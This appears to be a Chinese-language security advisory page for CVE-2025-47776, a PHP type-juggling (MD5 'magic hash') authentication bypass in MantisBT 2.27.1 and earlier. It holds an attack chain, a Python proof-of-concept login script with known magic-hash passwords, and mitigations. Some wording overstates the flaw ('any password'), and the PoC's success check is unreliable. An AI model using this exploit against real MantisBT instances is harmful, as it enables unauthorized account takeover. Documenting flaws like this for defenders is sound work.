IPBUF安全漏洞报告
English
CVE-2025-47776 CVSS 9.1 严重

CVE-2025-47776 MantisBT 2.27.1及以下版本认证绕过漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-47776
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mantis Bug Tracker (MantisBT)

相关标签

认证绕过PHP类型松散比较MD5哈希MantisBTCVE-2025-47776漏洞利用密码安全Web应用安全

漏洞概述

MantisBT 2.27.1及以下版本存在严重的认证绕过漏洞。该漏洞源于认证代码中错误使用PHP宽松比较(==)而非严格比较(===)。攻击者利用PHP类型转换机制,当MD5哈希值以科学计数法表示时,会被错误解析为数字类型。如果目标实例使用MD5登录方法,攻击者只需知道受害者用户名,并且能够访问一个密码哈希值为零的账户,即可无需知道实际密码即可登录系统。攻击者通过使用任意哈希值也为零的密码即可完成认证绕过。漏洞已于2.27.2版本中修复。

技术细节

该漏洞的核心在于PHP的松散比较(==)与类型转换机制。当PHP比较两个值时,会进行隐式类型转换。例如,字符串'0e123456789'会被PHP解释为科学计数法表示的浮点数0。当攻击者找到一个密码的MD5哈希值为'0e'开头且后续全为数字时(如'0e12345678901234567890'),PHP会将其转换为浮点数0进行比较。如果目标账户的密码哈希恰好也转换为0,则使用任意密码都能通过认证。攻击流程:1) 攻击者首先枚举找到一个密码P1,其MD5(P1)值为0e开头格式;2) 获取目标账户的密码哈希值;3) 如果目标哈希值也是0e开头格式,攻击者使用任意密码即可登录;4) 利用受害者用户名和任意密码完成认证绕过。此攻击无需高权限,仅需知道用户名即可实施。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标MantisBT实例版本,确认版本<=2.27.1且使用MD5登录方法
STEP 2
步骤2
密码哈希分析:攻击者获取目标用户名的密码MD5哈希值,检查是否以0e开头且后续全为数字
STEP 3
步骤3
PoC密码选择:攻击者选择一个已知MD5哈希值为0e...格式的密码(如240610708)
STEP 4
步骤4
认证绕过:使用目标用户名和任意密码(PoC密码)尝试登录,利用PHP类型转换使MD5(任意密码)==0与目标哈希值相等
STEP 5
步骤5
会话劫持:成功登录后获取受害者会话,实现账户接管或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import hashlib import requests # CVE-2025-47776 PoC - MantisBT Authentication Bypass via PHP Type Juggling # Target: MantisBT <= 2.27.1 with MD5 login method def generate_md5_zero_hash(password): """Generate MD5 hash and check if it's in 0e format (PHP float 0)""" md5_hash = hashlib.md5(password.encode()).hexdigest() if md5_hash.startswith('0e') and md5_hash[2:].isdigit(): return md5_hash return None def find_zero_hash_password(): """Brute force to find a password with MD5 hash evaluating to 0 in PHP""" # Known MD5 hashes that evaluate to 0 in PHP: # 240610708: 0e462097431906509019562988736854 # QLTHNDT: 0e405967825401955372649139804851 # PJNPDWY: 0e291529052894702774557631701704 test_passwords = [ '240610708', 'QLTHNDT', 'PJNPDWY', 'NREIPO', 'WYJNDWN', 'XLEOIPJ', 'DNZRRGHH' ] for pwd in test_passwords: h = generate_md5_zero_hash(pwd) if h: print(f'Found valid password: {pwd} -> MD5: {h}') return pwd return None def exploit_mantisbt(target_url, username, evil_password): """ Exploit authentication bypass If target user has password hash starting with 0e followed by digits, attacker can login with any password that also produces 0e... hash """ login_url = f'{target_url}/login.php' # Step 1: Try to login with the crafted password data = { 'username': username, 'password': evil_password, 'return': '' } session = requests.Session() response = session.post(login_url, data=data, allow_redirects=False) # Check if login successful (look for auth token or success indicator) if response.status_code in [200, 302]: if 'Set-Cookie' in response.headers or 'PHPSESSID' in str(response.cookies): print(f'[+] Authentication bypass successful for user: {username}') return True print('[-] Authentication bypass failed') return False if __name__ == '__main__': target = 'http://vulnerable-mantisbt-server' target_user = 'victim_username' # Find a password with 0e MD5 hash evil_pwd = find_zero_hash_password() if evil_pwd: print(f'[*] Using evil password: {evil_pwd}') exploit_mantisbt(target, target_user, evil_pwd) else: print('[-] No valid 0e hash password found in test set')

影响范围

MantisBT < 2.27.2
MantisBT <= 2.27.1

防御指南

临时缓解措施
临时缓解措施:1) 在Web应用防火墙(WAF)中添加规则,检测并阻止使用0e开头的密码尝试;2) 临时禁用MD5登录方法,切换到LDAP或其他认证后端;3) 监控认证日志,关注异常的登录失败模式;4) 限制登录尝试频率,防止暴力破解;5) 建议尽快升级到官方发布的2.27.2版本以彻底修复漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表